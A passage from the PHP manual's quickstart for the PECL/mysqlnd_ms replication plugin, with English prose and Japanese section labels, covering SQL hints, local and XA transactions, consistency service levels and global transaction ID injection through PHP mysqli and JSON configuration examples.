}

/* Connection 2, run on slave because SELECT */
if (!($res = $mysqli->query("SELECT @myrole AS _role"))) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
    $row = $res->fetch_assoc();
    $res->close();
    printf("@myrole = '%s'\n", $row['_role']);
}
$mysqli->close();
?>

上の例の出力は以下となります。

@myrole = ''

The example opens a load balanced connection and executes two statements. The first statement SET @myrole='master' does not begin with the string SELECT. Therefore the plugin does not recognize it as a read-only query which shall be run on a slave. The plugin runs the statement on the connection to the master. The statement sets a SQL user variable which is bound to the master connection. The state of the master connection has been changed.

The next statement is SELECT @myrole AS _role. The plugin does recognize it as a read-only query and sends it to the slave. The statement is run on a connection to the slave. This second connection does not have any SQL user variables bound to it. It has a different state than the first connection to the master. The requested SQL user variable is not set. The example script prints @myrole = ''.

It is the responsibility of the application developer to take care of the connection state. The plugin does not monitor all connection state changing activities. Monitoring all possible cases would be a very CPU intensive task, if it could be done at all.

The pitfalls can easily be worked around using SQL hints.

User Contributed Notes

There are no user contributed notes for this page.


SQL Hints

SQL hints can force a query to choose a specific server from the connection pool. It gives the plugin a hint to use a designated server, which can solve issues caused by connection switches and connection state.

SQL hints are standard compliant SQL comments. Because SQL comments are supposed to be ignored by SQL processing systems, they do not interfere with other programs such as the MySQL Server, the MySQL Proxy, or a firewall.

Three SQL hints are supported by the plugin: The MYSQLND_MS_MASTER_SWITCH hint makes the plugin run a statement on the master, MYSQLND_MS_SLAVE_SWITCH enforces the use of the slave, and MYSQLND_MS_LAST_USED_SWITCH will run a statement on the same server that was used for the previous statement.

The plugin scans the beginning of a statement for the existence of an SQL hint. SQL hints are only recognized if they appear at the beginning of the statement.

例1 Plugin config with one slave and one master

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

例2 SQL hints to prevent connection switches

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (mysqli_connect_errno()) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* Connection 1, connection bound SQL user variable, no SELECT thus run on master */
if (!$mysqli->query("SET @myrole='master'")) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}

/* Connection 1, run on master because of SQL hint */
if (!($res = $mysqli->query(sprintf("/*%s*/SELECT @myrole AS _role", MYSQLND_MS_LAST_USED_SWITCH)))) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
} else {
    $row = $res->fetch_assoc();
    $res->close();
    printf("@myrole = '%s'\n", $row['_role']);
}
$mysqli->close();
?>

上の例の出力は以下となります。

@myrole = 'master'

In the above example, using MYSQLND_MS_LAST_USED_SWITCH prevents session switching from the master to a slave when running the SELECT statement.

SQL hints can also be used to run SELECT statements on the MySQL master server. This may be desired if the MySQL slave servers are typically behind the master, but you need current data from the cluster.

In version 1.2.0 the concept of a service level has been introduced to address cases when current data is required. Using a service level requires less attention and removes the need of using SQL hints for this use case. Please, find more information below in the service level and consistency section.

例3 Fighting replication lag

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* Force use of master, master has always fresh and current data */
if (!$mysqli->query(sprintf("/*%s*/SELECT critical_data FROM important_table", MYSQLND_MS_MASTER_SWITCH))) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
?>

A use case may include the creation of tables on a slave. If an SQL hint is not given, then the plugin will send CREATE and INSERT statements to the master. Use the SQL hint MYSQLND_MS_SLAVE_SWITCH if you want to run any such statement on a slave, for example, to build temporary reporting tables.

例4 Table creation on a slave

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* Force use of slave */
if (!$mysqli->query(sprintf("/*%s*/CREATE TABLE slave_reporting(id INT)", MYSQLND_MS_SLAVE_SWITCH))) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
/* Continue using this particular slave connection */
if (!$mysqli->query(sprintf("/*%s*/INSERT INTO slave_reporting(id) VALUES (1), (2), (3)", MYSQLND_MS_LAST_USED_SWITCH))) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
/* Don't use MYSQLND_MS_SLAVE_SWITCH which would allow switching to another slave! */
if ($res = $mysqli->query(sprintf("/*%s*/SELECT COUNT(*) AS _num FROM slave_reporting", MYSQLND_MS_LAST_USED_SWITCH))) {
    $row = $res->fetch_assoc();
    $res->close();
    printf("There are %d rows in the table 'slave_reporting'", $row['_num']);
} else {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
$mysqli->close();
?>

The SQL hint MYSQLND_MS_LAST_USED forbids switching a connection, and forces use of the previously used connection.

User Contributed Notes

There are no user contributed notes for this page.


Local transactions

The current version of the plugin is not transaction safe by default, because it is not aware of running transactions in all cases. SQL transactions are units of work to be run on a single server. The plugin does not always know when the unit of work starts and when it ends. Therefore, the plugin may decide to switch connections in the middle of a transaction.

No kind of MySQL load balancer can detect transaction boundaries without any kind of hint from the application.

You can either use SQL hints to work around this limitation. Alternatively, you can activate transaction API call monitoring. In the latter case you must use API calls only to control transactions, see below.

例1 Plugin config with one slave and one master

[myapp]
{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.27",
                "port": "3306"
            }
        }
    }
}

例2 Using SQL hints for transactions

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* Not a SELECT, will use master */
if (!$mysqli->query("START TRANSACTION")) {
    /* Please use better error handling in your code */
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Prevent connection switch! */
if (!$mysqli->query(sprintf("/*%s*/INSERT INTO test(id) VALUES (1)", MYSQLND_MS_LAST_USED_SWITCH))) {
    /* Please do proper ROLLBACK in your code, don't just die */
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if ($res = $mysqli->query(sprintf("/*%s*/SELECT COUNT(*) AS _num FROM test", MYSQLND_MS_LAST_USED_SWITCH))) {
    $row = $res->fetch_assoc();
    $res->close();
    if ($row['_num'] > 1000) {
        if (!$mysqli->query(sprintf("/*%s*/INSERT INTO events(task) VALUES ('cleanup')", MYSQLND_MS_LAST_USED_SWITCH))) {
            die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
        }
    }
} else {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->query(sprintf("/*%s*/UPDATE log SET last_update = NOW()", MYSQLND_MS_LAST_USED_SWITCH))) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->query(sprintf("/*%s*/COMMIT", MYSQLND_MS_LAST_USED_SWITCH))) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

$mysqli->close();
?>

Starting with PHP 5.4.0, the mysqlnd library allows the plugin to monitor the status of the autocommit mode, if the mode is set by API calls instead of using SQL statements such as SET AUTOCOMMIT=0. This makes it possible for the plugin to become transaction aware. In this case, you do not need to use SQL hints.

If using PHP 5.4.0 or newer, API calls that enable autocommit mode, and when setting the plugin configuration option trx_stickiness=master, the plugin can automatically disable load balancing and connection switches for SQL transactions. In this configuration, the plugin stops load balancing if autocommit is disabled and directs all statements to the master. This prevents connection switches in the middle of a transaction. Once autocommit is re-enabled, the plugin starts to load balance statements again.

API based transaction boundary detection has been improved with PHP 5.5.0 and PECL/mysqlnd_ms 1.5.0 to cover not only calls to mysqli_autocommit() but also mysqli_begin(), mysqli_commit() and mysqli_rollback().

例3 Transaction aware load balancing: trx_stickiness setting

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "trx_stickiness": "master"
    }
}

例4 Transaction aware

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* Disable autocommit, plugin will run all statements on the master */
$mysqli->autocommit(false);

if (!$mysqli->query("INSERT INTO test(id) VALUES (1)")) {
    /* Please do proper ROLLBACK in your code, don't just die */
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if ($res = $mysqli->query("SELECT COUNT(*) AS _num FROM test")) {
    $row = $res->fetch_assoc();
    $res->close();
    if ($row['_num'] > 1000) {
        if (!$mysqli->query("INSERT INTO events(task) VALUES ('cleanup')")) {
            die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
        }
    }
} else {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->query("UPDATE log SET last_update = NOW()")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
if (!$mysqli->commit()) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Plugin assumes that the transaction has ended and starts load balancing again */
$mysqli->autocommit(true);
$mysqli->close();
?>

注意: Version requirement

The plugin configuration option trx_stickiness=master requires PHP 5.4.0 or newer.

Please note the restrictions outlined in the transaction handling concepts section.

User Contributed Notes

There are no user contributed notes for this page.


XA/Distributed Transactions

注意: Version requirement

XA related functions have been introduced in PECL mysqlnd_ms version 1.6.0-alpha.

注意: Early adaptors wanted

The feature is currently under development. There may be issues and/or feature limitations. Do not use in production environments, although early lab tests indicate reasonable quality.

Please, contact the development team if you are interested in this feature. We are looking for real life feedback to complement the feature.

XA transactions are a standardized method for executing transactions across multiple resources. Those resources can be databases or other transactional systems. The MySQL server supports XA SQL statements which allows users to carry out a distributed SQL transaction that spawns multiple database servers or any kind as long as they support the SQL statements too. In such a scenario it is in the responsibility of the user to coordinate the participating servers.

PECL/mysqlnd_ms can act as a transaction coordinator for a global (distributed, XA) transaction carried out on MySQL servers only. As a transaction coordinator, the plugin tracks all servers involved in a global transaction and transparently issues appropriate SQL statements on the participants. The global transactions are controlled with mysqlnd_ms_xa_begin(), mysqlnd_ms_xa_commit() and mysqlnd_ms_xa_rollback(). SQL details are mostly hidden from the application as is the need to track and coordinate participants.

例1 General pattern for XA transactions

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* start a global transaction */
$gtrid_id = "12345";
if (!mysqlnd_ms_xa_begin($mysqli, $gtrid_id)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* run queries as usual: XA BEGIN will be injected upon running a query */
if (!$mysqli->query("INSERT INTO orders(order_id, item) VALUES (1, 'christmas tree, 1.8m')")) {
    /* Either INSERT failed or the injected XA BEGIN failed */
    if ('XA' == substr($mysqli->sqlstate, 0, 2)) {
        printf("Global transaction/XA related failure, [%d] %s\n", $mysqli->errno, $mysqli->error);
    } else {
        printf("INSERT failed, [%d] %s\n", $mysqli->errno, $mysqli->error);
    }
    /* rollback global transaction */
    mysqlnd_ms_xa_rollback($mysqli, $xid);
    die("Stopping.");
}

/* continue carrying out queries on other servers, e.g. other shards */

/* commit the global transaction */
if (!mysqlnd_ms_xa_commit($mysqli, $xa_id)) {
    printf("[%d] %s\n", $mysqli->errno, $mysqli->error);
}
?>

Unlike with local transactions, which are carried out on a single server, XA transactions have an identifier (xid) associated with them. The XA transaction identifier is composed of a global transaction identifier (gtrid), a branch qualifier (bqual) a format identifier (formatID). Only the global transaction identifier can and must be given when calling any of the plugins XA functions.

Once a global transaction has been started, the plugin begins tracking servers until the global transaction ends. When a server is picked for query execution, the plugin injects the SQL statement XA BEGIN prior to executing the actual SQL statement on the server. XA BEGIN makes the server participate in the global transaction. If the injected SQL statement fails, the plugin will report the issue in reply to the query execution function that was used. In the above example, $mysqli->query("INSERT INTO orders(order_id, item) VALUES (1, 'christmas tree, 1.8m')") would indicate such an error. You may want to check the errors SQL state code to determine whether the actual query (here: INSERT) has failed or the error is related to the global transaction. It is up to you to ignore the failure to start the global transaction on a server and continue execution without having the server participate in the global transaction.

例2 Local and global transactions are mutually exclusive

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* start a local transaction */
if (!$mysqli->begin_transaction()) {
    die(sprintf("[%d/%s] %s\n", $mysqli->errno, $mysqli->sqlstate, $mysqli->error));
}

/* cannot start global transaction now - must end local transaction first */
$gtrid_id = "12345";
if (!mysqlnd_ms_xa_begin($mysqli, $gtrid_id)) {
    die(sprintf("[%d/%s] %s\n", $mysqli->errno, $mysqli->sqlstate, $mysqli->error));
}
?>

上の例の出力は以下となります。

Warning: mysqlnd_ms_xa_begin(): (mysqlnd_ms) Some work is done outside global transaction. You must end the active local transaction first in ... on line ...
[1400/XAE09] (mysqlnd_ms) Some work is done outside global transaction. You must end the active local transaction first

A global transaction cannot be started when a local transaction is active. The plugin tries to detect this situation as early as possible, that is when mysqlnd_ms_xa_begin() is called. If using API calls only to control transactions, the plugin will know that a local transaction is open and return an error for mysqlnd_ms_xa_begin(). However, note the plugins limitations on detecting transaction boundaries.. In the worst case, if using direct SQL for local transactions (BEGIN, COMMIT, ...), it may happen that an error is delayed until some SQL is executed on a server.

To end a global transaction invoke mysqlnd_ms_xa_commit() or mysqlnd_ms_xa_rollback(). When a global transaction is ended all participants must be informed of the end. Therefore, PECL/mysqlnd_ms transparently issues appropriate XA related SQL statements on some or all of them. Any failure during this phase will cause an implicit rollback. The XA related API is intentionally kept simple here. A more complex API that gave more control would bare few, if any, advantages over a user implementation that issues all lower level XA SQL statements itself.

XA transactions use the two-phase commit protocol. The two-phase commit protocol is a blocking protocol. There are cases when no progress can be made, not even when using timeouts. Transaction coordinators should survive their own failure, be able to detect blockades and break ties. PECL/mysqlnd_ms takes the role of a transaction coordinator and can be configured to survive its own crash to avoid issues with blocked MySQL servers. Therefore, the plugin can and should be configured to use a persistent and crash-safe state to allow garbage collection of unfinished, aborted global transactions. A global transaction can be aborted in an open state if either the plugin fails (crashes) or a connection from the plugin to a global transaction participant fails.

例3 Transaction coordinator state store

{
    "myapp": {
        "xa": {
            "state_store": {
                "participant_localhost_ip": "192.168.2.12",
                "mysql": {
                    "host": "192.168.2.13",
                    "user": "root",
                    "password": "",
                    "db": "test",
                    "port": "3312",
                    "socket": null
                }
            }
        },
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "192.168.2.14",
                "port": "3306"
            }
        }
    }
}

Currently, PECL/mysqlnd_ms supports only using MySQL database tables as a state store. The SQL definitions of the tables are given in the plugin configuration section. Please, make sure to use a transactional and crash-safe storage engine for the tables, such as InnoDB. InnoDB is the default table engine in recent versions of the MySQL server. Make also sure the database server itself is highly available.

If a state store has been configured, the plugin can perform a garbage collection. During garbage collection it may be necessary to connect to a participant of a failed global transaction. Thus, the state store holds a list of participants and, among others, their host names. If the garbage collection is run on another host but the one that has written a participant entry with the host name localhost, then localhost resolves to different machines. There are two solutions to the problem. Either you do not configure any servers with the host name localhost but configure an IP address (and port) or, you hint the garbage collection. In the above example, localhost is used for master_0, hence it may not resolve to the correct host during garbage collection. However, participant_localhost_ip is also set to hint the garbage collection that localhost stands for the IP 192.168.2.12.

User Contributed Notes

muhammad dot dawud91 at gmail dot com 13-Oct-2014 06:44
this site:
http://lixa.sourceforge.net/lixa-doc/ext/html/ch02s04.html#id3855642 also provide xa transaction between two mysql server, then why you and him doesn't combine the effort?


Service level and consistency

注意: Version requirement

Service levels have been introduced in PECL mysqlnd_ms version 1.2.0-alpha. mysqlnd_ms_set_qos() is available with PHP 5.4.0 or newer.

Different types of MySQL cluster solutions offer different service and data consistency levels to their users. An asynchronous MySQL replication cluster offers eventual consistency by default. A read executed on an asynchronous slave may return current, stale or no data at all, depending on whether the slave has replayed all changesets from the master or not.

Applications using an MySQL replication cluster need to be designed to work correctly with eventual consistent data. In some cases, however, stale data is not acceptable. In those cases only certain slaves or even only master accesses are allowed to achieve the required quality of service from the cluster.

As of PECL mysqlnd_ms 1.2.0 the plugin is capable of selecting MySQL replication nodes automatically that deliver session consistency or strong consistency. Session consistency means that one client can read its writes. Other clients may or may not see the clients' write. Strong consistency means that all clients will see all writes from the client.

例1 Session consistency: read your writes

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        }
    }
}

例2 Requesting session consistency

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* read-write splitting: master used */
if (!$mysqli->query("INSERT INTO orders(order_id, item) VALUES (1, 'christmas tree, 1.8m')")) {
    /* Please use better error handling in your code */
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Request session consistency: read your writes */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_SESSION)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Plugin picks a node which has the changes, here: master */
if (!$res = $mysqli->query("SELECT item FROM orders WHERE order_id = 1")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

var_dump($res->fetch_assoc());

/* Back to eventual consistency: stale data allowed */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Plugin picks any slave, stale data is allowed */
if (!$res = $mysqli->query("SELECT item, price FROM specials")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
?>

Service levels can be set in the plugins configuration file and at runtime using mysqlnd_ms_set_qos(). In the example the function is used to enforce session consistency (read your writes) for all future statements until further notice. The SELECT statement on the orders table is run on the master to ensure the previous write can be seen by the client. Read-write splitting logic has been adapted to fulfill the service level.

After the application has read its changes from the orders table it returns to the default service level, which is eventual consistency. Eventual consistency puts no restrictions on choosing a node for statement execution. Thus, the SELECT statement on the specials table is executed on a slave.

The new functionality supersedes the use of SQL hints and the master_on_write configuration option. In many cases mysqlnd_ms_set_qos() is easier to use, more powerful improves portability.

例3 Maximum age/slave lag

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "failover" : "master"
    }
}

例4 Limiting slave lag

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* Read from slaves lagging no more than four seconds */
$ret = mysqlnd_ms_set_qos(
    $mysqli,
    MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL,
    MYSQLND_MS_QOS_OPTION_AGE,
    4
);

if (!$ret) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Plugin picks any slave, which may or may not have the changes */
if (!$res = $mysqli->query("SELECT item, price FROM daytrade")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Back to default: use of all slaves and masters permitted */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
?>

The eventual consistency service level can be used with an optional parameter to set a maximum slave lag for choosing slaves. If set, the plugin checks SHOW SLAVE STATUS for all configured slaves. In case of the example, only slaves for which Slave_IO_Running=Yes, Slave_SQL_Running=Yes and Seconds_Behind_Master <= 4 is true are considered for executing the statement SELECT item, price FROM daytrade.

Checking SHOW SLAVE STATUS is done transparently from an applications perspective. Errors, if any, are reported as warnings. No error will be set on the connection handle. Even if all SHOW SLAVE STATUS SQL statements executed by the plugin fail, the execution of the users statement is not stopped, given that master fail over is enabled. Thus, no application changes are required.

注意: Expensive and slow operation

Checking SHOW SLAVE STATUS for all slaves adds overhead to the application. It is an expensive and slow background operation. Try to minimize the use of it. Unfortunately, a MySQL replication cluster does not give clients the possibility to request a list of candidates from a central instance. Thus, a more efficient way of checking the slaves lag is not available.

Please, note the limitations and properties of SHOW SLAVE STATUS as explained in the MySQL reference manual.

To prevent mysqlnd_ms from emitting a warning if no slaves can be found that lag no more than the defined number of seconds behind the master, it is necessary to enable master fail over in the plugins configuration file. If no slaves can be found and fail over is turned on, the plugin picks a master for executing the statement.

If no slave can be found and fail over is turned off, the plugin emits a warning, it does not execute the statement and it sets an error on the connection.

例5 Fail over not set

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        }
    }
}

例6 No slave within time limit

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* Read from slaves lagging no more than four seconds */
$ret = mysqlnd_ms_set_qos(
    $mysqli,
    MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL,
    MYSQLND_MS_QOS_OPTION_AGE,
    4
);

if (!$ret) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Plugin picks any slave, which may or may not have the changes */
if (!$res = $mysqli->query("SELECT item, price FROM daytrade")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* Back to default: use of all slaves and masters permitted */
if (!mysqlnd_ms_set_qos($mysqli, MYSQLND_MS_QOS_CONSISTENCY_EVENTUAL)) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}
?>

上の例の出力は以下となります。

PHP Warning:  mysqli::query(): (mysqlnd_ms) Couldn't find the appropriate slave connection. 0 slaves to choose from. Something is wrong in %s on line %d
PHP Warning:  mysqli::query(): (mysqlnd_ms) No connection selected by the last filter in %s on line %d
[2000] (mysqlnd_ms) No connection selected by the last filter

User Contributed Notes

There are no user contributed notes for this page.


Global transaction IDs

注意: Version requirement

A client-side global transaction ID injection has been introduced in mysqlnd_ms version 1.2.0-alpha. The feature is not required for synchronous clusters, such as MySQL Cluster. Use it with asynchronous clusters such as classical MySQL replication.

As of MySQL 5.6.5-m8 release candidate the MySQL server features built-in global transaction identifiers. The MySQL built-in global transaction ID feature is supported by PECL/mysqlnd_ms 1.3.0-alpha or later. However, the final feature set found in MySQL 5.6 production releases to date is not sufficient to support the ideas discussed below in all cases. Please, see also the concepts section.

PECL/mysqlnd_ms can either use its own global transaction ID emulation or the global transaction ID feature built-in to MySQL 5.6.5-m8 or later. From a developer perspective the client-side and server-side approach offer the same features with regards to service levels provided by PECL/mysqlnd_ms. Their differences are discussed in the concepts section.

The quickstart first demonstrates the use of the client-side global transaction ID emulation built-in to PECL/mysqlnd_ms before its show how to use the server-side counterpart. The order ensures that the underlying idea is discussed first.

Idea and client-side emulation

In its most basic form a global transaction ID (GTID) is a counter in a table on the master. The counter is incremented whenever a transaction is committed on the master. Slaves replicate the table. The counter serves two purposes. In case of a master failure, it helps the database administrator to identify the most recent slave for promoting it to the new master. The most recent slave is the one with the highest counter value. Applications can use the global transaction ID to search for slaves which have replicated a certain write (identified by a global transaction ID) already.

PECL/mysqlnd_ms can inject SQL for every committed transaction to increment a GTID counter. The so created GTID is accessible by the application to identify an applications write operation. This enables the plugin to deliver session consistency (read your writes) service level by not only querying masters but also slaves which have replicated the change already. Read load is taken away from the master.

Client-side global transaction ID emulation has some limitations. Please, read the concepts section carefully to fully understand the principles and ideas behind it, before using in production environments. The background knowledge is not required to continue with the quickstart.

First, create a counter table on your master server and insert a record into it. The plugin does not assist creating the table. Database administrators must make sure it exists. Depending on the error reporting mode, the plugin will silently ignore the lack of the table or bail out.

例1 Create counter table on master

CREATE TABLE `trx` (
  `trx_id` int(11) DEFAULT NULL,
  `last_update` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=latin1
INSERT INTO `trx`(`trx_id`) VALUES (1);

In the plugins configuration file set the SQL to update the global transaction ID table using on_commit from the global_transaction_id_injection section. Make sure the table name used for the UPDATE statement is fully qualified. In the example, test.trx is used to refer to table trx in the schema (database) test. Use the table that was created in the previous step. It is important to set the fully qualified table name because the connection on which the injection is done may use a different default database. Make sure the user that opens the connection is allowed to execute the UPDATE.

Enable reporting of errors that may occur when mysqlnd_ms does global transaction ID injection.

例2 Plugin config: SQL for client-side GTID injection

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "on_commit":"UPDATE test.trx SET trx_id = trx_id + 1",
            "report_error":true
        }
    }
}

例3 Transparent global transaction ID injection

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("CREATE TABLE test(id INT)")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("INSERT INTO test(id) VALUES (1)")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

/* auto commit mode, read on slave, no increment */
if (!($res = $mysqli->query("SELECT id FROM test"))) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

var_dump($res->fetch_assoc());
?>

上の例の出力は以下となります。

array(1) {
  ["id"]=>
  string(1) "1"
}

The example runs three statements in auto commit mode on the master, causing three transactions on the master. For every such statement, the plugin will inject the configured UPDATE transparently before executing the users SQL statement. When the script ends the global transaction ID counter on the master has been incremented by three.

The fourth SQL statement executed in the example, a SELECT, does not trigger an increment. Only transactions (writes) executed on a master shall increment the GTID counter.

注意: SQL for global transaction ID: efficient solution wanted!

The SQL used for the client-side global transaction ID emulation is inefficient. It is optimized for clearity not for performance. Do not use it for production environments. Please, help finding an efficient solution for inclusion in the manual. We appreciate your input.

例4 Plugin config: SQL for fetching GTID

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "on_commit":"UPDATE test.trx SET trx_id = trx_id + 1",
            "fetch_last_gtid" : "SELECT MAX(trx_id) FROM test.trx",
            "report_error":true
        }
    }
}

例5 Obtaining GTID after injection

<?php
$mysqli = new mysqli("myapp", "username", "password", "database");
if (!$mysqli) {
    /* Of course, your error handling is nicer... */
    die(sprintf("[%d] %s\n", mysqli_connect_errno(), mysqli_connect_error()));
}

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("DROP TABLE IF EXISTS test")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));

/* auto commit mode, transaction on master, GTID must be incremented */
if (!$mysqli->query("CREATE TABLE test(id INT)")) {
    die(sprintf("[%d] %s\n", $mysqli->errno, $mysqli->error));
}

printf("GTID after transaction %s\n", mysqlnd_ms_get_last_gtid($mysqli));
?>

上の例の出力は以下となります。

GTID after transaction 7
GTID after transaction 8

Applications can ask PECL mysqlnd_ms for a global transaction ID which belongs to the last write operation performed by the application. The function mysqlnd_ms_get_last_gtid() returns the GTID obtained when executing the SQL statement from the fetch_last_gtid entry of the global_transaction_id_injection section from the plugins configuration file. The function may be called after the GTID has been incremented.

Applications are adviced not to run the SQL statement themselves as this bares the risk of accidentally causing an implicit GTID increment. Also, if the function is used, it is easy to migrate an application from one SQL statement for fetching a transaction ID to another, for example, if any MySQL server ever features built-in global transaction ID support.

The quickstart shows a SQL statement which will return a GTID equal or greater to that created for the previous statement. It is exactly the GTID created for the previous statement if no other clients have incremented the GTID in the time span between the statement execution and the SELECT to fetch the GTID. Otherwise, it is greater.

例6 Plugin config: Checking for a certain GTID

{
    "myapp": {
        "master": {
            "master_0": {
                "host": "localhost",
                "socket": "\/tmp\/mysql.sock"
            }
        },
        "slave": {
            "slave_0": {
                "host": "127.0.0.1",
                "port": "3306"
            }
        },
        "global_transaction_id_injection":{
            "on_commit":"UPDATE test.trx SET trx_id = trx_id + 1",
